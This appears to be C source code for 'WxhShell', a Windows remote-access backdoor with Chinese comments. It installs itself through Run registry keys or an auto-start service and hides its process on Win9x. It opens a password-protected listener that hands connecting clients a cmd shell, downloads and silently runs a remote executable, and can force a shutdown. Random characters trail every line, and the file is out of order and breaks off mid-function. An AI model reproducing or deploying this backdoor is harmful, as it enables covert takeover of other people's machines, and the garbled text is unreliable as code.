    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9_4bw9 A  
    if(Boot(SHUTDOWN)) Ofm?`SE*|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >QcIrq%=  
    else { Vzmw%f)_+  
    closesocket(wsh); 7<Yf  
    ExitThread(0); L3@upb  
    } %77X/%.Y  
    break; z2 m(<zb  
    } I\8F.J1_  
  // 获取shell Jfe<$-$$7  
  case 's': { Ed>Dhy6\r  
    CmdShell(wsh); Nr(t5TP^  
    closesocket(wsh); YWK|AT-4  
    ExitThread(0); 2X)n.%4g$;  
    break; 2BGS$$pP  
  } rZi\  
  // 退出 rYP72<   
  case 'x': { `zw^ WbCO{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ocp`6Fj  
    CloseIt(wsh); oZ!1^o3V  
    break; ElK7jWJ+  
    } ~x #RIt  
  // 离开 YTk"'q-  
  case 'q': { W[R^5{k`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jI;iTKjB(  
    closesocket(wsh); Z+%w|Sx  
    WSACleanup(); dln1JZ!  
    exit(1); h8)m2KrZ!.  
    break; ;dR4a@  
        } ALO0yc  
  } })#SjFq<V  
  } iL6Yk @  
,P.yl~'Al  
  // 提示信息 *i)3q+%.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Af`qe+0E  
} 6`JY:~V"  
  } Ob~7r*q  
bZKlQ<sI  
  return; "N*bV  
} dU"ca|u  
iu$:_W_  
// shell模块句柄 |ler\"Eu  
int CmdShell(SOCKET sock) !Y95e'f.x  
{ .m^L,;+2  
STARTUPINFO si; e%wzcn  
ZeroMemory(&si,sizeof(si)); {pR4+g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ 7^#.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xaw)iC[gI{  
PROCESS_INFORMATION ProcessInfo; |Vj@;+/j  
char cmdline[]="cmd"; EG&97l b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )/{zTg8$?/  
  return 0; p "Cxe  
} R?E< }\!  
Xk]:]pl4W  
// 自身启动模式 /]@1IC{Lk  
int StartFromService(void) a:V2(nY  
{ 5nA *'($j  
typedef struct *)| EWT?,  
{ IBn+4 2V  
  DWORD ExitStatus; oWP3Y.  
  DWORD PebBaseAddress; ~B704i  
  DWORD AffinityMask; <{Pr(U*7}  
  DWORD BasePriority; 7J6D wh{  
  ULONG UniqueProcessId; m(0c|-  
  ULONG InheritedFromUniqueProcessId; dR|*VT\  
}   PROCESS_BASIC_INFORMATION; d>wpG^"w  
u6 lcl}'  
PROCNTQSIP NtQueryInformationProcess; 9!u&8#i  
gT&s &0_7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a^5.gfzA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p G-9H3[f#  
B_3:.1>"BM  
  HANDLE             hProcess; J4l \  
  PROCESS_BASIC_INFORMATION pbi; vS1#ien#  
02RZ>m+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CUI\:a-   
  if(NULL == hInst ) return 0; K4w#}gzok  
+f"q^RIU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6M^NZ0~J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _B6W:k|-7l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W3E7y?  
h|Ah\P?o  
  if (!NtQueryInformationProcess) return 0; D9 \!97  
!$Whftg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~e;2gm  
  if(!hProcess) return 0; 0tS < /G8  
j0q:i}/U,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =Y]'wb  
VsjE*AJpe  
  CloseHandle(hProcess); bSvr8FY3d  
TR J5m?x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vjz 'y[D  
if(hProcess==NULL) return 0; AL{r/h  
Q| _e=  
HMODULE hMod; ]Dd}^khv  
char procName[255]; ur@"wcl"V  
unsigned long cbNeeded; U'oFW@Y;h  
UfxY D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !+H)N  
>X58 zlxk  
  CloseHandle(hProcess); `iZ){JfAH  
WFm\ bZ.  
if(strstr(procName,"services")) return 1; // 以服务启动 =#so[Pd  
Bid+,,  
  return 0; // 注册表启动 F[5sFk M7  
} :v Do{My^1  
dc=}c/6x  
// 主模块 x;@wtd*QB  
int StartWxhshell(LPSTR lpCmdLine) !l|fzS8g  
{ |?\J,h  
  SOCKET wsl; 'i;/?'!W6  
BOOL val=TRUE; De^Uc  
  int port=0; #O,;3S  
  struct sockaddr_in door; 4m"6$  
'wT !X[jF  
  if(wscfg.ws_autoins) Install(); EFdo-.Ax  
(`)ZR %i  
port=atoi(lpCmdLine); ,~nrNkhp  
Cw$7d:u  
if(port<=0) port=wscfg.ws_port; M$$Lsb [  
(CR]96n  
  WSADATA data; kD\7wz,ui  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yLgv<%8f  
oU)Hco"_k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5i1E 5@~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hpj7EaMZ_  
  door.sin_family = AF_INET; VBq|j"o0"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g 5@P  
  door.sin_port = htons(port); ={G0p=~+,p  
e$l*s/"0t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8$~^-_>n/  
closesocket(wsl); &G$K. q  
return 1; Wo2W/{  
} DcRvZH  
E5QQI9ea  
  if(listen(wsl,2) == INVALID_SOCKET) { ZGsI\3S  
closesocket(wsl); y"T(Unvc  
return 1; KJYcP72P  
} ,p)Qu%'  
  Wxhshell(wsl); 12o6KVV^x  
  WSACleanup(); ?8-ho0f0  
(b#4Z  
return 0; ?8!\VNC.  
H#:Aby-d}  
} w<SFs#Z  
JuD&121N*  
// 以NT服务方式启动 :v B9z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |7)oX  
{ ;km^ OO$  
DWORD   status = 0; wB+X@AA  
  DWORD   specificError = 0xfffffff; ;2}wrX  
ZbfpMZ g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l>*L Am5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B*OBXN>'P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vX}#wDNP  
  serviceStatus.dwWin32ExitCode     = 0; F S!D  
  serviceStatus.dwServiceSpecificExitCode = 0; *nx$r[Mqj  
  serviceStatus.dwCheckPoint       = 0; V{C{y5  
  serviceStatus.dwWaitHint       = 0; g@|2z  
xU;/LJ6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Tv~$\=  
  if (hServiceStatusHandle==0) return; d=eIsP'h  
:x3"Cj  
status = GetLastError(); ^ ^T xx  
  if (status!=NO_ERROR) RMs+pN<5  
{ `Rx\wfr}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %V|n2/O Y  
    serviceStatus.dwCheckPoint       = 0; /2>.*H_2  
    serviceStatus.dwWaitHint       = 0; NnRX0]  
    serviceStatus.dwWin32ExitCode     = status; &a!MT^anA~  
    serviceStatus.dwServiceSpecificExitCode = specificError; &cZl2ynPi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S1a6uE  
    return; SsCV}[  
  } ?+G / 5,e  
@iBaJ"*,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c>%%'c  
  serviceStatus.dwCheckPoint       = 0; ^i!I0Q2yd  
  serviceStatus.dwWaitHint       = 0; vw6DHN)k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \rM5@ Vf  
} ows 3%  
61Wh %8-  
// 处理NT服务事件,比如:启动、停止 agd^ga3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D}~uxw;[^  
{ !W/"Z!k  
switch(fdwControl) ^4Tf6Fw#  
{ q,T4- E  
case SERVICE_CONTROL_STOP: DCKH^J   
  serviceStatus.dwWin32ExitCode = 0; M \UB r4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o&MOcy D  
  serviceStatus.dwCheckPoint   = 0; opgNt o6$  
  serviceStatus.dwWaitHint     = 0; @tlWyUju  
  { B^@X1EE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xbu P_U'  
  } >Xi/ p$$7u  
  return; UsgrI>|l  
case SERVICE_CONTROL_PAUSE: TjS &V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G=PX'dS  
  break; .`jYrW-k  
case SERVICE_CONTROL_CONTINUE: (*Z:ByA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?T)M z q}  
  break; X16vvsjw5  
case SERVICE_CONTROL_INTERROGATE: H,EGB8E2  
  break; PZihC  
}; F^CR$L& K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t!\B6!Fo  
} &3 *#h  
r"!xI  
// 标准应用程序主函数 <UwYI_OX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 IRa$h>H  
{ |4rqj 1*U  
.l$U:d  
// 获取操作系统版本 O>d [;Q  
OsIsNt=GetOsVer(); sAS[wcOQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o>HU4O}  
>%LY0(hY3  
  // 从命令行安装 rgF4 W8  
  if(strpbrk(lpCmdLine,"iI")) Install(); )]C(NTfxg  
d:{}0hmxI  
  // 下载执行文件 q!{>Nlk  
if(wscfg.ws_downexe) { nh+Hwj#(x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oSLm?Lu  
  WinExec(wscfg.ws_filenam,SW_HIDE); uyvjo)T  
} o(yyj'=(  
Id=V\'$o  
if(!OsIsNt) { %D3Asw/5a  
// 如果时win9x,隐藏进程并且设置为注册表启动 Nx"|10gC  
HideProc(); M9Xq0BBu  
StartWxhshell(lpCmdLine); + />f?+  
} \. a7F4h  
else $f=6>Kn|^]  
  if(StartFromService()) ~l}\K10L*  
  // 以服务方式启动 !8&EkXTw,  
  StartServiceCtrlDispatcher(DispatchTable); >qZl s'  
else gxmY^" Jy  
  // 普通方式启动 Xi;<O&+  
  StartWxhshell(lpCmdLine); Aw&0R"{  
LfN,aW  
return 0; Ax*xa6_2  
} mrBK{@n  
)E m`kle  
o4jh n[Fx  
s8dP=_ `  
=========================================== Z1_F)5pn  
:eIQF7-  
0i>p1/kv  
[\rzXE  
]3~ u @6  
Y h53Z"a  
" C;~LY&=  
tIS.,CEQF  
#include <stdio.h> [I}z\3Z %  
#include <string.h> ueEf>0  
#include <windows.h> DFvGc`O4  
#include <winsock2.h> "^)GnK +-  
#include <winsvc.h> ^!z(IE'  
#include <urlmon.h> MT6"b  
-Jt36|O  
#pragma comment (lib, "Ws2_32.lib") Z!3R  
#pragma comment (lib, "urlmon.lib") 8nwps(3  
r7FJqd  
#define MAX_USER   100 // 最大客户端连接数 @`ii3&W4  
#define BUF_SOCK   200 // sock buffer 2R W~jn"  
#define KEY_BUFF   255 // 输入 buffer ^SK!? M  
*c 9 S.  
#define REBOOT     0   // 重启 /vC!__K9:  
#define SHUTDOWN   1   // 关机 }X. Fm'`  
F\^\,hy  
#define DEF_PORT   5000 // 监听端口 +ViL"  
E u<f  
#define REG_LEN     16   // 注册表键长度 - ,?LS w  
#define SVC_LEN     80   // NT服务名长度 eAStpG"*  
1Vc~Sa  
// 从dll定义API iCCe8nK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]E)\>Jb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'bsHoO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C DoD9Hq,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `z$P,^g`  
UyFC\vQ  
// wxhshell配置信息 al9( 9)  
struct WSCFG { _%Yi ^^  
  int ws_port;         // 监听端口 Uq~b4X$  
  char ws_passstr[REG_LEN]; // 口令 UD.ZnE{"  
  int ws_autoins;       // 安装标记, 1=yes 0=no efE=5%O  
  char ws_regname[REG_LEN]; // 注册表键名 ":q+"*fy  
  char ws_svcname[REG_LEN]; // 服务名 *Ms&WYN-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I;n <) >  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5{#s<%b.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s6r(\L_Im  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mdh]qKw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +v$W$s&b-h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+u >"7T  
 v7Ps-a)  
}; H23 O]r  
sPVE_n  
// default Wxhshell configuration ,SNt*t1"  
struct WSCFG wscfg={DEF_PORT, uUV"86B_  
    "xuhuanlingzhe", , &n"#  
    1, XE&h&v=>  
    "Wxhshell", 9Ofls9]U  
    "Wxhshell", aqWlX0+  
            "WxhShell Service", yPY{ZADkQ  
    "Wrsky Windows CmdShell Service", g*`xEb= '  
    "Please Input Your Password: ", Q*M(d\Vs  
  1, f:y1eLl3  
  "http://www.wrsky.com/wxhshell.exe", M2c7 |  
  "Wxhshell.exe" .;qh>Gt  
    }; R$66F>Jz^  
xR8.1T?8  
// 消息定义模块 c{ +bY .J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8vtembna4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,LP^v'[V7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Rb:t}  
char *msg_ws_ext="\n\rExit."; ^do6?e`?-  
char *msg_ws_end="\n\rQuit."; >#'?}@FWQN  
char *msg_ws_boot="\n\rReboot..."; k2tSgJW  
char *msg_ws_poff="\n\rShutdown..."; Od ^Sr4C  
char *msg_ws_down="\n\rSave to "; -Sn'${2  
LAY:R{vI  
char *msg_ws_err="\n\rErr!"; _*n `*"  
char *msg_ws_ok="\n\rOK!"; m OE!`fd  
FD&^nJ_{  
char ExeFile[MAX_PATH]; sOiM/} O]  
int nUser = 0; L[A?W  
HANDLE handles[MAX_USER]; r ;MFVj{  
int OsIsNt; Yi)s=Q:  
:YOo"3.]  
SERVICE_STATUS       serviceStatus; %K.rrn M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N3*1,/,l .  
F_m' 9KX4E  
// 函数声明 ?L0k|7  
int Install(void); 9_,f)2)~W  
int Uninstall(void); 1Lk(G9CoY  
int DownloadFile(char *sURL, SOCKET wsh); ez.a  
int Boot(int flag); ;<thEWH;Y  
void HideProc(void); W amOg0  
int GetOsVer(void); )B)f`(SA"<  
int Wxhshell(SOCKET wsl); Jp%5qBS^  
void TalkWithClient(void *cs); 8UXRM :Z"  
int CmdShell(SOCKET sock); M_-L#FHX  
int StartFromService(void); ipl,{  
int StartWxhshell(LPSTR lpCmdLine); 6y1\ar(A  
E/*&'Osq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cIG7 Q"4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "a}fwg9Y  
z6rT<~xZtu  
// 数据结构和表定义 PHEQG]H S  
SERVICE_TABLE_ENTRY DispatchTable[] = kU=U u>  
{ ^Il*`&+?P  
{wscfg.ws_svcname, NTServiceMain}, `C C=?E  
{NULL, NULL} &6 <a<S  
}; h_+  
PB7-`uz  
// 自我安装 j;7E+Yp  
int Install(void) D6l. x]K  
{ "P54|XIJ\  
  char svExeFile[MAX_PATH]; gzqp=I[%  
  HKEY key; YYPJ (o\  
  strcpy(svExeFile,ExeFile); b GI){0A  
kP^A~ZO.  
// 如果是win9x系统,修改注册表设为自启动 JAP(J~  
if(!OsIsNt) { U%q6n"[ Cr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vp.?$(L^@/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^G(Ee+PN@  
  RegCloseKey(key); OXbShA&1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5E"^>z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M?L$xE_&  
  RegCloseKey(key); g}W|q"l?i  
  return 0; ;b~\ [  
    } (_<,Oj#*S  
  } '6WS<@%}  
} t|i<}2  
else { noL9@It0  
s.Bb@Jq  
// 如果是NT以上系统,安装为系统服务 YURMXbj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,7c Rd}1Y  
if (schSCManager!=0) ,Kl?-W@  
{ X-kOp9/.  
  SC_HANDLE schService = CreateService +egwZ$5I  
  ( n*A1x8tn  
  schSCManager, _oCNrjt9  
  wscfg.ws_svcname, gGUKB2)  
  wscfg.ws_svcdisp, u:2Ll[ eo  
  SERVICE_ALL_ACCESS, ~6@`;s`[Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  k4dC  
  SERVICE_AUTO_START, B(94;,(  
  SERVICE_ERROR_NORMAL, z F.@rXl  
  svExeFile,  Owi/e  
  NULL, ujS oWs  
  NULL, n=C"pH#  
  NULL, m,!SD Cq  
  NULL,  fFqYRK  
  NULL Iia.`"S  
  ); A;RV~!xx  
  if (schService!=0) ^bfZd  
  { Z[d13G;  
  CloseServiceHandle(schService); 'ScvteQ  
  CloseServiceHandle(schSCManager); A)>#n)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )%MC*Z :^  
  strcat(svExeFile,wscfg.ws_svcname);  w:QO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i2  c|_B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Y%_{   
  RegCloseKey(key); ,!^5w,P:   
  return 0; |g)>6+?]W  
    } F]?] |nZZ  
  } $Oy&PO e  
  CloseServiceHandle(schSCManager); BLO ]78  
} ?z&%VU"  
} 7 [1|(6$  
_W_< bI34  
return 1; SeDk/}/~e  
} ;%^=V#  
->{-yh]jv  
// 自我卸载 U4 \v~n\  
int Uninstall(void) J;8 d-R5  
{ nWY^?e'S  
  HKEY key; 7<;oz30G!L  
9g5h~ Ma  
if(!OsIsNt) { = a60Xv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -[ gT}{k!  
  RegDeleteValue(key,wscfg.ws_regname); BDWbWA 6  
  RegCloseKey(key); aE 9Y |6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =!^ gQ0~4  
  RegDeleteValue(key,wscfg.ws_regname); QO(F%&v++  
  RegCloseKey(key); !p/?IW+  
  return 0; ?`rAO#1  
  } -|uoxj>  
} `>)Ge](oN  
} R=LiB+p  
else { 35e{{Gn)v  
vBl:&99[/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -LszaMR}  
if (schSCManager!=0) xi(\=LbhY  
{ o25rKC=o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lm2) 3;ei  
  if (schService!=0) UWvVYdy7  
  { -R:_o1"  
  if(DeleteService(schService)!=0) { cS9jGD92  
  CloseServiceHandle(schService); @|DQZt  
  CloseServiceHandle(schSCManager); Coe/4! $M  
  return 0; .Lna\Bv  
  } pLtw|S'4  
  CloseServiceHandle(schService); 2icQ (H;  
  } e@W+ehx"  
  CloseServiceHandle(schSCManager); m)Kg6/MV.  
} x'I!f? / &  
} O.(2  
+K`A2&F9  
return 1; ~s'tr&+  
} kt978qfk  
jTcv&`fAz  
// 从指定url下载文件 ZDW=>}~_y  
int DownloadFile(char *sURL, SOCKET wsh) /GC&@y0yi  
{ F9u?+y-xb  
  HRESULT hr; ~EPVu  
char seps[]= "/"; x~!|F5JbM  
char *token; " L`)^  
char *file; &b tI#  
char myURL[MAX_PATH]; "U-jZ5o"  
char myFILE[MAX_PATH]; 5z!$=SFz  
~ $g:  
strcpy(myURL,sURL); BA]$Fi.Mw  
  token=strtok(myURL,seps); ,dCEy+  
  while(token!=NULL) bT^dtEr[  
  { S*V}1</L  
    file=token; Xi98:0<=  
  token=strtok(NULL,seps); 0yI1r7yNB+  
  } njaMI8|Pa  
tO3R&"{  
GetCurrentDirectory(MAX_PATH,myFILE); )_=2lu3%{  
strcat(myFILE, "\\"); ~(QfVpRnV=  
strcat(myFILE, file); VE|l;aXi  
  send(wsh,myFILE,strlen(myFILE),0); ~I@ls Ch  
send(wsh,"...",3,0); W-n4w Ij"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fx{8ERo  
  if(hr==S_OK) E>|X'I?r^  
return 0; *(F`NJ 3  
else WYUDD_m  
return 1; mOsp~|d  
Ic0Y  
} gVOAB-nw  
0<-E)\:[g  
// 系统电源模块 4\Y5RfLB_  
int Boot(int flag) 0+*NHiH  
{ pi?MAE*f  
  HANDLE hToken; GT&}Burl/n  
  TOKEN_PRIVILEGES tkp; 7~mhWPzMwB  
7#0buXBg  
  if(OsIsNt) { sI!H=bp-8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &xQM!f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tbd=A]B-  
    tkp.PrivilegeCount = 1; tTLg;YjN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 5`"U#`:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lb-1z]YwQ  
if(flag==REBOOT) { l?U=s7s0?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bx8](cT_  
  return 0; 4VwF \  
} &vp KBR ^  
else { TmQIpeych  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MIrx,d  
  return 0; rGyAzL]  
} P2-&Im`+  
  } {_O!mI*  
  else { o eU i  
if(flag==REBOOT) { go uU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8Y?M:^f~  
  return 0; >1Z"5F7=  
} ' rcqy1-&  
else { (j&:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \!-BR0+y;  
  return 0; "+F'WCJ-(*  
} y>P+"Z.K%}  
} [>O!~  
CJ :V%|  
return 1; !qt2,V  
} Pb#M7=J/  
g"!(@]L!@  
// win9x进程隐藏模块  8b2 =n  
void HideProc(void) }X&rJV  
{ <-umeY"n>  
Wh)D_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d#g))f;  
  if ( hKernel != NULL ) w7V\_^&Id  
  { #X}HF$t{=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sS>b}u+v#!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %c }V/v_h  
    FreeLibrary(hKernel); pjWRd_h.  
  } Yq+ 1kA  
Y^eN}@]?&  
return; 7>JTQ CJ  
} d~LoHp  
')y2W1  
// 获取操作系统版本 2?JV "O=  
int GetOsVer(void) Lgg,K//g  
{ ;A*SuFbV  
  OSVERSIONINFO winfo; 'a ['lF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5?kfE  
  GetVersionEx(&winfo); ?h= n5}Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v`HE R6  
  return 1; nI\6a G?`  
  else Y}:~6`-jj  
  return 0; uzy5rA==  
} #Iw(+%D  
*NmY]  
// 客户端句柄模块 52w@.]  
int Wxhshell(SOCKET wsl) fZGY'o&5  
{ qs5>`skX  
  SOCKET wsh; s,HbW%s  
  struct sockaddr_in client; XcVN{6-z  
  DWORD myID; gq7tSkH@  
u,sR2&Fe  
  while(nUser<MAX_USER) cgg6E O(  
{ D|:'|7l W  
  int nSize=sizeof(client); u"[f\l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (%my:\>l  
  if(wsh==INVALID_SOCKET) return 1; i9;  
x[(6V'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?b (iWq  
if(handles[nUser]==0) PsC")JS  
  closesocket(wsh); T8XrmR&?PX  
else C= ~c`V5>r  
  nUser++; =&}@GsXdo  
  } ^4dE8Ve"@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {q-&!l|  
ar 3L|MN  
  return 0; "rv~I_zl  
} aZOn01v;!&  
Pq;OShU_  
// 关闭 socket 7o E0;'  
void CloseIt(SOCKET wsh) 2}hJe+#v  
{ A3jxjQ  
closesocket(wsh); Pe`(9&iT.  
nUser--; D)d]o&  
ExitThread(0); sg2;"E@  
} i}-uK,^  
AI|vL4*Xd  
// 客户端请求句柄 @(t3<g  
void TalkWithClient(void *cs) =+zDE0Qs  
{ smP4KC"I(d  
*_(X$qfoW  
  SOCKET wsh=(SOCKET)cs; |7qt/z  
  char pwd[SVC_LEN]; iQ'*QbP'Z  
  char cmd[KEY_BUFF]; pRd.KY -<  
char chr[1]; yPN'@{ 5#  
int i,j; ,2@o`R.27  
 :Sq] |)  
  while (nUser < MAX_USER) { )GD7 rsC`<  
&d_^k.%y  
if(wscfg.ws_passstr) { ,"v&r(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cU1o$NRx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LP2~UVq  
  //ZeroMemory(pwd,KEY_BUFF); [h/T IGE\  
      i=0; \TQZZ_Z  
  while(i<SVC_LEN) { @-U\!Tf  
_D '(R  
  // 设置超时 [&)]-2w2  
  fd_set FdRead; OUX7 *_  
  struct timeval TimeOut; uYh!04u  
  FD_ZERO(&FdRead); 02;jeZ#z  
  FD_SET(wsh,&FdRead); /0s1;?  
  TimeOut.tv_sec=8; 3$|/7(M&DA  
  TimeOut.tv_usec=0; Pvxb6\G&d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h0{X$&:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dSM\:/t  
F.9}jd{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hZ&KE78?  
  pwd=chr[0]; Pfd1[~,  
  if(chr[0]==0xd || chr[0]==0xa) { +7_qg i7:  
  pwd=0; broLC5hbQU  
  break; rB>ge]$.  
  } >!963>DR  
  i++; n;g'?z=hy  
    } As:O|!F  
*dl hRa  
  // 如果是非法用户,关闭 socket Fr9/TI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w,UE0i9I  
} JJ: ku&Mb  
*uvM6F$ut  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $y(;"hy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Obs#2>h  
M\ATT%b:  
while(1) { {,>G 1>Yv  
\DB-2*a"  
  ZeroMemory(cmd,KEY_BUFF); C:QB=?%;  
nm^HL|  
      // 自动支持客户端 telnet标准   (b&g4$!x&5  
  j=0; =sJ?]U  
  while(j<KEY_BUFF) { R\j~X@vI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &K ~k'P~m  
  cmd[j]=chr[0]; &g`&#IRz  
  if(chr[0]==0xa || chr[0]==0xd) { Y|Iq~Qy~  
  cmd[j]=0; ]aX@(3G1s  
  break; [+ud7l  
  } XT7m3M  
  j++; ,AP&N'  
    } qZ1'uln=C-  
)6"}M;v  
  // 下载文件 K-RmB4WI  
  if(strstr(cmd,"http://")) {  RD$:.   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %OQdUH4x  
  if(DownloadFile(cmd,wsh)) X9x`i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W06aj ~7Z  
  else D,#UJPyg  
